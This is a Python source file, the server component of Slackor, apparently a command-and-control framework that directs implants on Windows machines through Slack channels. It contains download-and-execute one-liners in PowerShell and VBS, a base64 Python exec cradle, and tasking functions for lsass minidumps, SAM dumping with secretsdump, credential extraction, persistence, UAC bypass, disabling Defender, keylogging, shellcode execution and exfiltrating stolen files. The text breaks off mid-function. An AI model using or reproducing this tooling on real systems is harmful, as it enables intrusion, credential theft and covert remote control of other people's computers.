github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/server.py (about)

     1  import os
     2  import re
     3  import json
     4  import time
     5  import base64
     6  import random
     7  import string
     8  import sqlite3
     9  import requests
    10  import threading
    11  from cmd import Cmd
    12  from Crypto.Cipher import AES
    13  from urllib.parse import urlparse
    14  from prettytable import PrettyTable
    15  from prettytable import PLAIN_COLUMNS
    16  try:
    17      from SpookFlare.lib import sfhta, sfvba
    18  except ModuleNotFoundError:
    19      print("WARNING: SpookFlare not found, clone with \"--recursive\" to be able to generate all stager types.")
    20  try:
    21      from pypykatz import pypykatz as pypykatzfile
    22      pypykatzClass = pypykatzfile.pypykatz
    23  except ModuleNotFoundError:
    24      print("WARNING: pypykatz not found, clone with \"--recursive\" to be able to extract credentials from .dmp files.")
    25  
    26  
    27  # Global list of all agents
    28  agent_list = []
    29  
    30  # List to hold all processed jobs
    31  processed_ids = []
    32  
    33  # Connect to database
    34  conn = sqlite3.connect('slackor.db')
    35  
    36  # Connect to database and get keys
    37  auths = conn.execute("SELECT * FROM KEYS")
    38  for row in auths:
    39      token = row[1]
    40      bearer = row[2]
    41      AES_SECRET_KEY = row[3]
    42  
    43  # Connect to database and get channels
    44  channels = conn.execute("SELECT * FROM CHANNELS")
    45  for row in channels:
    46      commands = row[1]
    47      responses = row[2]
    48      registration = row[3]
    49  
    50  # Populate agents list from database
    51  agents = conn.execute("SELECT * FROM AGENTS")
    52  for row in agents:
    53      agent = row[0]
    54      agent_list.append(agent)
    55  
    56  conn.close()
    57  
    58  # Variable to hold all processed jobs
    59  processed_ids = []
    60  
    61  # Crypto Stuff
    62  # heavily adapted from https://www.golang123.com/topic/1686
    63  IV = "1337133713371337"
    64  BS = len(AES_SECRET_KEY)
    65  pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
    66  unpad = lambda s: s[0:-ord(s[-1])]
    67  
    68  
    69  def color(string, color=None):  # Adds colors on Linux
    70      """
    71      Change text color for the Linux terminal.
    72      """
    73  
    74      attr = []
    75      # bold
    76      attr.append('1')
    77  
    78      if color:
    79          if color.lower() == "red":
    80              attr.append('31')
    81          elif color.lower() == "green":
    82              attr.append('32')
    83          elif color.lower() == "yellow":
    84              attr.append('33')
    85          elif color.lower() == "blue":
    86              attr.append('34')
    87          return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
    88  
    89  
    90  def bad_opsec():  # This is to validate with the user that they want to accept the risk
    91      response = input(color("This module is not OPSEC safe. Do you want to run it? (Y/n): ", "yellow"))
    92      if response.upper()[:1] == "Y":
    93          return True
    94      else:
    95          return False
    96  
    97  
    98  def filter_nonprintable(text):  # Strips out non-ascii chars from responses
    99      import string
   100      # Get the difference of all ASCII characters from the set of printable characters
   101      nonprintable = set([chr(i) for i in range(128)]).difference(string.printable)
   102      # Use translate to remove all non-printable characters
   103      return text.translate({ord(character): None for character in nonprintable})
   104  
   105  
   106  def validate_url(url):  # Check is a URL is valid
   107      regex = re.compile(
   108          r'^(?:http|ftp)s?://'  # http:// or https://
   109          r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'  # domain...
   110          r'localhost|'  # localhost...
   111          r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'  # ...or ip
   112          r'(?::\d+)?'  # optional port
   113          r'(?:/?|[/?]\S+)$', re.IGNORECASE)
   114      if re.match(regex, url) is not None:
   115          return True
   116      else:
   117          return False
   118  
   119  
   120  def make_stager(filepath):  # Uploads a file to Slack and creates a one-liner to download an execute
   121      unique = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))
   122      files = {'file': open(filepath, 'rb')}
   123      data = {"filename": unique + ".txt", "token": token}
   124      r = requests.post("https://slack.com/api/files.upload", params=data, files=files)
   125      result = json.loads(r.text)
   126      file_id = result["file"]["id"]
   127      data = {"file": file_id, "token": token}
   128      headers = {'content-type': 'application/x-www-form-urlencoded'}
   129      r = requests.post("https://slack.com/api/files.sharedPublicURL", params=data, headers=headers)
   130      result = json.loads(r.text)
   131      permalink_public = result["file"]["permalink_public"]
   132      r = requests.get(permalink_public)
   133      look_for = 'class="file_header generic_header" href="'
   134      splitText = r.text.split(look_for, 1)[1]
   135      url = splitText[0:93]
   136      print(color("\nOne-liner to download and execute (best)\n", "blue"))
   137      PSoneliner = "powershell.exe iwr %s -o C:\\Users\\Public\\%s.png; forfiles.exe /p c:\\windows\\system32 /m svchost.exe" \
   138                 " /c C:\\Users\\Public\\%s.png; timeout 2; del C:\\Users\\Public\\%s.png" % (url, unique, unique, unique)
   139      print(PSoneliner)
   140      with open("output/" + unique + "_ps.txt", "w") as out_file:
   141          out_file.write(PSoneliner)
   142      print(color("Wrote one-liner at output/" + unique + "_ps.txt", "blue"))
   143      print(color("\nOne-liner (no Powershell): \n", "blue"))
   144      oneliner = "echo dim http_obj:dim stream_obj:set http_obj = CreateObject(\"Microsoft.XMLHTTP\"):set stream_obj = " \
   145      "CreateObject(\"ADODB.Stream\"):http_obj.open \"GET\", \"%s\", False:http_obj.send:stream_obj.type = 1" \
   146      ":stream_obj.open:stream_obj.write http_obj.responseBody:stream_obj.savetofile \"C:\\Users\\Public\\%s.png\", " \
   147      "2 > bld.vbs && bld.vbs && timeout 3 && del bld.vbs && C:\\Users\\Public\\%s.png" % (url, unique, unique)
   148      with open("output/" + unique + "_wscript.txt", "w") as out_file:
   149          out_file.write(oneliner)
   150      print(oneliner)
   151      print(color("Wrote one-liner at output/" + unique + "_wscript.txt\n", "blue"))
   152      return PSoneliner, unique
   153  
   154  
   155  def registration_monitor(bearer, registration, token, timestamp):  # Checks for newly registered bots
   156      global agent_list
   157      headers = {'Authorization': 'Bearer ' + bearer}
   158      data = {"channel": registration,
   159              "token": token, "oldest": timestamp}
   160      r = requests.post('https://slack.com/api/conversations.history', headers=headers, data=data)
   161      result = json.loads(r.text)
   162      try:
   163          if result["error"]:  # Hit rate limit
   164              print(color("\n!!! Hit Slack API rate limit !!!\n "
   165                          "Consider killing agents, increasing beacon times, and/or sending less commands.", "yellow"))
   166              return
   167      except KeyError:  # No error condition
   168          pass
   169      for bots in result["messages"]:  # Iterate through each message in the channel
   170          bot = bots["text"]
   171          bot_info = bot.split(":")
   172          client_id = (bot_info[0])
   173          hostname = (bot_info[1])
   174          user = (bot_info[2])
   175          ip = (bot_info[3])
   176          version = (bot_info[4].strip("\n"))
   177          # Attempt to add agent info to database
   178          if client_id not in agent_list:
   179              if client_id.isupper() and len(client_id) == 5:  # Check client ID is valid
   180                  # TODO: Check for SQL injection (fixed maybe?)
   181                  try:
   182                      conn = sqlite3.connect('slackor.db')
   183                      conn.execute("INSERT OR IGNORE INTO AGENTS (ID,HOSTNAME,USER,IP,VERSION) VALUES "
   184                                   "(?,?,?,?,?)", (client_id, hostname, user, ip, version,))
   185                      conn.commit()
   186                      conn.close()
   187                      agent_list.append(client_id)
   188                      print(color(" New agent...", "red"))
   189                      print(color(client_id + "     " + hostname + "     " + user + "     " + ip + "     " + version, "blue"))
   190                  except Exception as e:
   191                      print("Database error inserting new agent" + str(e))
   192  
   193  
   194  def update_agents():  # Function to check for new agents
   195      while True:
   196          timestamp = str(time.time() - 5)[:-1]
   197          time.sleep(10)
   198          try:
   199              registration_monitor(bearer, registration, token, timestamp)
   200          except requests.exceptions.ConnectionError:
   201              print("Connection refused")
   202  
   203  
   204  def send_command(bearer, command, commands, client_id):  # Send a command to a client
   205      type = "command"
   206      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   207      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   208      headers = {'Authorization': 'Bearer ' + bearer}
   209      aes_encrypt = AES_ENCRYPT()
   210      command = aes_encrypt.encrypt(command)
   211      data = {"channel": commands, "text": prefix + command}
   212      print(color("Tasking job " + job_id + " to " + client_id + ":", "blue"))
   213      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   214  
   215  
   216  def check_responses():  # Function to check for new job responses
   217      while True:
   218          timestamp = str(time.time() - 4)[:-1]
   219          time.sleep(5)
   220          try:
   221              response_check(bearer, responses, token, timestamp)
   222          except requests.exceptions.ConnectionError:
   223              print("Connection refused ")
   224  
   225  
   226  def mimikatz(filepath):
   227      try:
   228          mimi = pypykatzClass.parse_minidump_file(filepath)
   229          results = {}
   230          results[filepath] = mimi
   231          for result in results:
   232              print('FILE: ======== %s =======' % result)
   233              if isinstance(results[result], str):
   234                  print(results[result])
   235              else:
   236                  for luid in results[result].logon_sessions:
   237                      print(str(results[result].logon_sessions[luid]))
   238  
   239                  if len(results[result].orphaned_creds) > 0:
   240                      print('== Orphaned credentials ==')
   241                      for cred in results[result].orphaned_creds:
   242                          print(str(cred))
   243      except:
   244          print("Could not parse .dmp file with pypykatz, try using mimikatz.exe on Windows.")
   245  
   246  def wipe_files():  # Retrieves all the files in workspace and then deletes them
   247      headers = {'Authorization': 'Bearer ' + bearer}
   248      data = {"token": token}
   249      r = requests.post('https://slack.com/api/files.list', headers=headers, data=data)
   250      result = json.loads(r.text)
   251      for file in result["files"]:
   252          print(color("Deleting " + file["name"], "blue"))
   253          data = {"token": token, "file": file["id"]}
   254          r = requests.post('https://slack.com/api/files.delete', headers=headers, data=data)
   255  
   256  
   257  def response_check(bearer, responses, token, timestamp):
   258      aes_encrypt = AES_ENCRYPT()
   259      global processed_ids
   260      headers = {'Authorization': 'Bearer ' + bearer}
   261      data = {"channel": responses,
   262              "token": token, "oldest": timestamp, }
   263      # This request gets the latest messages from the channel
   264      r = requests.post('https://slack.com/api/conversations.history', headers=headers, data=data)
   265      # Parse the response
   266      try:
   267          result = json.loads(r.text)
   268      except json.decoder.JSONDecodeError:
   269          print(r.text)
   270      longJobs = {}
   271      # Loop through each message since last check
   272      try:
   273          if result["error"]:
   274              print(color("\nHit Slack API rate limit!!!\n "
   275                          "Consider killing agents, increasing beacon times, and sending less commands.", "yellow"))
   276              return
   277      except KeyError:
   278          pass
   279      for demand in reversed(result["messages"]):
   280          text = demand["text"]
   281          instructions = text.split(":")
   282          type = (instructions[2])
   283          job_id = (instructions[1])
   284          cid = (instructions[0])
   285          if cid.isupper() and len(cid) == 5:  # Make sure CID is valid before continuing
   286              if job_id not in processed_ids:
   287                  if type == "download":  # If type is download, download the file
   288                      url = base64.b64decode((instructions[3])).decode('UTF-8')
   289                      processed_ids.append(job_id)
   290                      parsed_uri = urlparse(url)
   291                      domain = '{uri.netloc}'.format(uri=parsed_uri)
   292                      if domain == "files.slack.com":  # Make sure we are only downloading from Slack
   293                          print(color("\nDownloading Encrypted file at: " + url + "...", "blue"))
   294                          if url == '':
   295                              print(color("\nMessage from client " + cid + ":", "blue"))
   296                              print("File not found.  Validate that the file path is correct.")
   297                          else:
   298                              if '/' in url:
   299                                  filename = (url.rsplit('/', 1)[1])
   300                              else:
   301                                  filename = url
   302                              # Here we take the Slack URL from the response and download it
   303                              header = {'Authorization': 'Bearer ' + token}
   304                              payload = requests.get(url, headers=header)
   305                              # Todo: Check for path traversal; Slack URLs already cover this but good to double check
   306                              open("loot/" + filename, 'wb').write(aes_encrypt.decryptFile(payload.content))
   307                              print(color("Downloaded " + filename + " from " + cid, "blue"))
   308                              # Post download options
   309                              if filename.startswith("security_"):  # If it's the last registry hive,run secretsdump.py
   310                                  command = "secretsdump.py LOCAL -sam loot/sam_{} -system loot/sys_{} " \
   311                                            "-security loot/security_{}".format(cid.lower(), cid.lower(), cid.lower())
   312                                  if os.path.isdir("impacket"):
   313                                      os.system(command)  # Todo: Migrate to call the python functions from impacket
   314                                  else:
   315                                      print("Impacket not found, clone with \"--recursive\" "
   316                                            "to be able to automatically dump hashes")
   317                              try:
   318                                  if filename.split(".",1)[1] == "dmp":  # If minidump, try to run pypykatz on it
   319                                      mimikatz("loot/" + filename)
   320                              except IndexError:
   321                                  pass
   322  
   323                  elif type == "output":  # If type is "output" print the result of the command
   324                      text = aes_encrypt.decrypt(instructions[3]).decode('UTF-8')
   325                      processed_ids.append(job_id)
   326                      print(
   327                          color("\nMessage from client " + cid + " for job " + job_id + ":\n", "blue") + filter_nonprintable(
   328                              text))
   329  
   330                  # Todo: Fix this to accept multiple cont messages from different agents
   331                  elif type == "cont":  # If type is cont, it is a multi-message response. build up the response string.
   332                      text = instructions[3]
   333                      try:
   334                          if longJobs[job_id]:
   335                              # The key exists, append the message
   336                              longJobs[job_id] += text
   337                      except KeyError:
   338                          # First message from a longJob, initialize the key
   339                              longJobs[job_id] = text
   340  
   341      if longJobs != "":  # If there are any longJobs, loop through them
   342          for key in longJobs:
   343              processed_ids.append(key)
   344              print(color("\nMessage response for job " + key + ":\n", "blue"))
   345              try:
   346                  text = aes_encrypt.decrypt(longJobs[key]).decode('UTF-8')
   347                  print(filter_nonprintable(text))
   348              except UnicodeDecodeError:
   349                  print("Response contains non-unicode characters.  Could not print to terminal.")
   350  
   351  
   352  def kill(bearer, commands, client_id):  # Function to send a kill command to an agent
   353      type = "kill"
   354      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   355      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   356      headers = {'Authorization': 'Bearer ' + bearer}
   357      data = {"channel": commands, "text": prefix}
   358      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   359  
   360  
   361  def upload(bearer, commands, client_id, file_url):  # Function to upload a file on the target
   362      type = "upload"
   363      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   364      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   365      headers = {'Authorization': 'Bearer ' + bearer}
   366      aes_encrypt = AES_ENCRYPT()
   367      file = aes_encrypt.encrypt(file_url)
   368      data = {"channel": commands, "text": prefix + file}
   369      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   370  
   371  def minidump(bearer, commands, client_id):  # dumps lsass on target
   372      type = "minidump"
   373      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   374      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   375      headers = {'Authorization': 'Bearer ' + bearer}
   376      aes_encrypt = AES_ENCRYPT()
   377      data = {"channel": commands, "text": prefix}
   378      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   379  
   380  
   381  def upload_file(filepath):  # This function uploads a file given a local(server) file-path
   382      if '\\' in filepath:
   383          filename = (filepath.rsplit('\\', 1)[1])
   384      elif '/' in filepath:
   385          filename = (filepath.rsplit('/', 1)[1])
   386      else:
   387          filename = filepath
   388      try:
   389          filepath = filepath.strip('\'').strip('\"')  # Strip quotes
   390          files = {'file': open(filepath, 'rb')}
   391          data = {"filename": filename, "token": token}
   392          r = requests.post("https://slack.com/api/files.upload", params=data, files=files)
   393          result = json.loads(r.text)
   394          # Slack URL of the uploaded file
   395          return result["file"]["url_private_download"]
   396      except FileNotFoundError:
   397          print(color("File not Found", "yellow"))
   398          return False
   399      except OSError:
   400          print(color("File not Found", "yellow"))
   401          return False
   402  
   403  
   404  def sleep(bearer, commands, client_id, sleeptime):  # Function to send a sleep command to an agent
   405      type = "sleep"
   406      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   407      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   408      headers = {'Authorization': 'Bearer ' + bearer}
   409      aes_encrypt = AES_ENCRYPT()
   410      sleeptime = aes_encrypt.encrypt(sleeptime)
   411      data = {"channel": commands, "text": prefix + sleeptime}
   412      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   413  
   414  
   415  def persist(bearer, commands, client_id, mode):  # Function to add persistence
   416      type = "persist"
   417      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   418      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   419      headers = {'Authorization': 'Bearer ' + bearer}
   420      aes_encrypt = AES_ENCRYPT()
   421      mode = aes_encrypt.encrypt(mode)
   422      data = {"channel": commands, "text": prefix + mode}
   423      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   424  
   425  def cleanup(bearer, commands, client_id, mode):  # Function to remove persistence
   426      type = "clean"
   427      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   428      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   429      headers = {'Authorization': 'Bearer ' + bearer}
   430      aes_encrypt = AES_ENCRYPT()
   431      mode = aes_encrypt.encrypt(mode)
   432      data = {"channel": commands, "text": prefix + mode}
   433      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   434  
   435  
   436  def bypassuac(bearer, commands, client_id, mode):  # Function to bypass UAC
   437      type = "elevate"
   438      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   439      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   440      headers = {'Authorization': 'Bearer ' + bearer}
   441      aes_encrypt = AES_ENCRYPT()
   442      mode = aes_encrypt.encrypt(mode)
   443      data = {"channel": commands, "text": prefix + mode}
   444      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   445  
   446  
   447  def screenshot(bearer, commands, client_id):  # Function to screenshot
   448      type = "screenshot"
   449      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   450      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   451      headers = {'Authorization': 'Bearer ' + bearer}
   452      data = {"channel": commands, "text": prefix}
   453      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   454  
   455  def samdump(bearer, commands, client_id):  # Function to dump SAM and SYSTEM files
   456      type = "samdump"
   457      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   458      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   459      headers = {'Authorization': 'Bearer ' + bearer}
   460      data = {"channel": commands, "text": prefix}
   461      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   462  
   463  def revive(bearer, commands):  # Function to have agents re-register in case some became orphaned
   464      type = "revive"
   465      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   466      prefix = bytes("31337" + ":" + job_id + ":" + type + ":", 'utf-8')
   467      headers = {'Authorization': 'Bearer ' + bearer}
   468      data = {"channel": commands, "text": prefix}
   469      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   470  
   471  
   472  def sysinfo(bearer, commands, client_id):  # Function gather system info
   473      type = "sysinfo"
   474      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   475      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   476      headers = {'Authorization': 'Bearer ' + bearer}
   477      data = {"channel": commands, "text": prefix}
   478      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   479  
   480  
   481  def duplicate(bearer, commands, client_id):  # spawns another agent
   482      type = "duplicate"
   483      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   484      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   485      headers = {'Authorization': 'Bearer ' + bearer}
   486      data = {"channel": commands, "text": prefix}
   487      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   488  
   489  def clipboard(bearer, commands, client_id):  # spawns another agent
   490      type = "clipboard"
   491      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   492      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   493      headers = {'Authorization': 'Bearer ' + bearer}
   494      data = {"channel": commands, "text": prefix}
   495      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   496  
   497  def getsystem(bearer, commands, client_id):  # gets SYSTEM privs
   498      type = "getsystem"
   499      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   500      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   501      headers = {'Authorization': 'Bearer ' + bearer}
   502      data = {"channel": commands, "text": prefix}
   503      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   504  
   505  
   506  def defanger(bearer, commands, client_id, mode):  # Function to de-fang Windows Defender
   507      type = "defanger"
   508      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   509      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   510      headers = {'Authorization': 'Bearer ' + bearer}
   511      aes_encrypt = AES_ENCRYPT()
   512      mode = aes_encrypt.encrypt(mode)
   513      data = {"channel": commands, "text": prefix + mode}
   514      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   515  
   516  def keyscan(bearer, commands, client_id, mode):  # Function to manage keylogger
   517      type = "keyscan"
   518      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   519      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   520      headers = {'Authorization': 'Bearer ' + bearer}
   521      aes_encrypt = AES_ENCRYPT()
   522      mode = aes_encrypt.encrypt(mode)
   523      data = {"channel": commands, "text": prefix + mode}
   524      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   525  '''
   526  def metasploit(bearer, commands, client_id, url):  # Function execute Meterpreter on target
   527      type = "metasploit"
   528      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   529      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   530      headers = {'Authorization': 'Bearer ' + bearer}
   531      aes_encrypt = AES_ENCRYPT()
   532      url = aes_encrypt.encrypt(url)
   533      data = {"channel": commands, "text": prefix + url}
   534      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   535  '''
   536  def shellcode(bearer, commands, client_id, filepath):  # Function execute shellcode on target
   537      type = "shellcode"
   538      if '\\' in filepath:
   539          filename = (filepath.rsplit('\\', 1)[1])
   540      elif '/' in filepath:
   541          filename = (filepath.rsplit('/', 1)[1])
   542      else:
   543          filename = filepath
   544      try:
   545          filepath = filepath.strip('\'').strip('\"')  # Strip quotes
   546          files = {'file': open(filepath, 'rb')}
   547          data = {"filename": "shellcode.txt", "token": token}
   548          r = requests.post("https://slack.com/api/files.upload", params=data, files=files)
   549          result = json.loads(r.text)
   550          # Slack URL of the uploaded file
   551          url = result["file"]["url_private_download"]
   552      except FileNotFoundError:
   553          print(color("File not Found", "yellow"))
   554          return False
   555      except OSError:
   556          print(color("File not Found", "yellow"))
   557          return False
   558      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   559      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   560      headers = {'Authorization': 'Bearer ' + bearer}
   561      aes_encrypt = AES_ENCRYPT()
   562      print(url)
   563      url = aes_encrypt.encrypt(url)
   564      data = {"channel": commands, "text": prefix + url}
   565      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   566  
   567  
   568  def pyinject(bearer, commands, client_id, filepath):  # Function execute python in memory
   569      type = "command"
   570      if '\\' in filepath:
   571          filename = (filepath.rsplit('\\', 1)[1])
   572      elif '/' in filepath:
   573          filename = (filepath.rsplit('/', 1)[1])
   574      else:
   575          filename = filepath
   576      try:
   577          filepath = filepath.strip('\'').strip('\"')  # Strip quotes
   578          files = {'file': open(filepath, 'rb')}
   579          data = {"filename": "python.txt", "token": token}
   580          r = requests.post("https://slack.com/api/files.upload", params=data, files=files)
   581          result = json.loads(r.text)
   582          # Slack URL of the uploaded file
   583          url = result["file"]["url_private_download"]
   584      except FileNotFoundError:
   585          print(color("File not Found", "yellow"))
   586          return False
   587      except OSError:
   588          print(color("File not Found", "yellow"))
   589          return False
   590      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   591      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   592      headers = {'Authorization': 'Bearer ' + bearer}
   593      aes_encrypt = AES_ENCRYPT()
   594      print(url)
   595      cradle = "import urllib2;r=urllib2.Request(\"" + url + "\");r.add_header(\"Authorization\", \"Bearer "\
   596               + token + "\");s=urllib2.urlopen(r);exec(s.read())"
   597      encoded = base64.b64encode(cradle.encode("utf-8"))
   598      cradle = str(encoded, "utf-8")
   599      command = "python -c \\\"import base64\;exec\(base64.b64decode\(\\\'" + cradle + "\\\'\)\) \\\" \; echo "
   600      command = aes_encrypt.encrypt(command)
   601      data = {"channel": commands, "text": prefix + command}
   602      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   603  
   604  
   605  def beacon(bearer, commands, client_id, beacon):  # Function to change beacon time
   606      type = "beacon"
   607      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   608      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   609      headers = {'Authorization': 'Bearer ' + bearer}
   610      aes_encrypt = AES_ENCRYPT()
   611      beacon = aes_encrypt.encrypt(beacon)
   612      data = {"channel": commands, "text": prefix + beacon}
   613      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   614  
   615  
   616  def download(bearer, commands, client_id, filepath):  # Function to retrieve a file from the agent
   617      type = "download"
   618      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   619      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   620      headers = {'Authorization': 'Bearer ' + bearer}
   621      filepath = filepath.strip('\'').strip('\"')
   622      aes_encrypt = AES_ENCRYPT()
   623      filepath = aes_encrypt.encrypt(filepath)
   624      data = {"channel": commands, "text": prefix + filepath}
   625      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   626  
   627  
   628  class AES_ENCRYPT(object):  # heavily adapted from https://www.golang123.com/topic/1686
   629      def __init__(self):
   630          self.key = AES_SECRET_KEY
   631          self.mode = AES.MODE_CBC
   632  
   633      def encrypt(self, text):
   634          cryptor = AES.new(self.key, self.mode, IV)
   635          self.ciphertext = cryptor.encrypt(pad(text))
   636          return base64.b64encode(self.ciphertext)
   637  
   638      def decrypt(self, text):
   639          decode = base64.b64decode(text)
   640          cryptor = AES.new(self.key, self.mode, IV)
   641          plain_text = cryptor.decrypt(decode)
   642          return plain_text
   643  
   644      def decryptFile(self, text):
   645          cryptor = AES.new(self.key, self.mode, IV)
   646          plain_text = cryptor.decrypt(text)
   647          return plain_text
   648  
   649  
   650  class AgentCmd(Cmd):  # Class for all the modules when interacting with an agent
   651  
   652      def emptyline(self):
   653          pass
   654  
   655      def do_sleep(self, args):
   656          """SLEEP - Causes the agent to sleep once.  Time must be in seconds.
   657               Example: sleep 5"""
   658          try:
   659              # Test if value is an integer, bail if not
   660              sleep_test = int(args)
   661              sleep(bearer, commands, self.target, args)
   662              print(color("Tasking " + self.target + " to sleep for " + args + " seconds...", "blue"))
   663          except ValueError:
   664              print(color("Sleep value must be an integer.  (Number of seconds)", "yellow"))
   665  
   666      def do_persist(self, args):
   667          """PERSIST - Establishes persistence on the target
   668          Example: persist registry"""
   669          if (args == "scheduler") or (args == "registry"):
   670                  print(color("RISK: Writes to disk, executes cmd.exe", "yellow"))
   671                  if bad_opsec():
   672                      persist(bearer, commands, self.target, args)
   673                      print(color("Establishing persistence on " + self.target, "blue"))
   674          elif args == "wmi":
   675              conn = sqlite3.connect('slackor.db')
   676              cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   677              user = cursor.fetchone()
   678              if user[0].endswith('*'):
   679                  print(color("RISK: Writes to disk, executes cmd.exe", "yellow"))
   680                  if bad_opsec():
   681                      persist(bearer, commands, self.target, args)
   682                      print(color("Establishing persistence on " + self.target, "blue"))
   683          else:
   684                  print(color("Please supply an additional argument [scheduler|registry|wmi]", "blue"))
   685  
   686      def do_cleanup(self, args):
   687          """CLEANUP - Removes artifacts on disk
   688          Example: cleanup registry"""
   689          if (args == "scheduler") or (args == "registry"):
   690              print(color("RISK: Executes cmd.exe", "yellow"))
   691              if bad_opsec():
   692                  cleanup(bearer, commands, self.target, args)
   693                  print(color("Removing persistence on " + self.target, "blue"))
   694              else:
   695                  print(color("You need to specify a persistence method" "Yellow"))
   696          elif (args == "realtime") or (args == "exclusion") or (args == "signature"):
   697              print(color("RISK: Executes powershell.exe", "yellow"))
   698              if bad_opsec():
   699                  cleanup(bearer, commands, self.target, args)
   700                  print(color("Restoring AV on " + self.target, "blue"))
   701  
   702          elif args == "wmi":
   703              print(color("RISK: Executes powershell.exe", "yellow"))
   704              if bad_opsec():
   705                  cleanup(bearer, commands, self.target, args)
   706                  print(color("Removing persistence on " + self.target, "blue"))
   707          else:
   708              print(color("Please supply an additional argument "
   709                          "[scheduler|registry|realtime|exclusion|signature]", "blue"))
   710  
   711      def complete_persist(self, text, line, start_index, end_index):
   712          modes = ["registry", "scheduler", "wmi"]
   713          if text:
   714              return [
   715                  mode for mode in modes
   716                  if mode.startswith(text.lower())
   717              ]
   718          else:
   719              return modes
   720  
   721      def complete_cleanup(self, text, line, start_index, end_index):
   722          modes = ["registry", "scheduler", "exclusion", "realtime", "signature", "wmi"]
   723          if text:
   724              return [
   725                  mode for mode in modes
   726                  if mode.startswith(text.lower())
   727              ]
   728          else:
   729              return modes
   730  
   731      def complete_keyscan(self, text, line, start_index, end_index):
   732          modes = ["stop", "start", "dump"]
   733          if text:
   734              return [
   735                  mode for mode in modes
   736                  if mode.startswith(text.lower())
   737              ]
   738          else:
   739              return modes
   740  
   741      def complete_defanger(self, text, line, start_index, end_index):
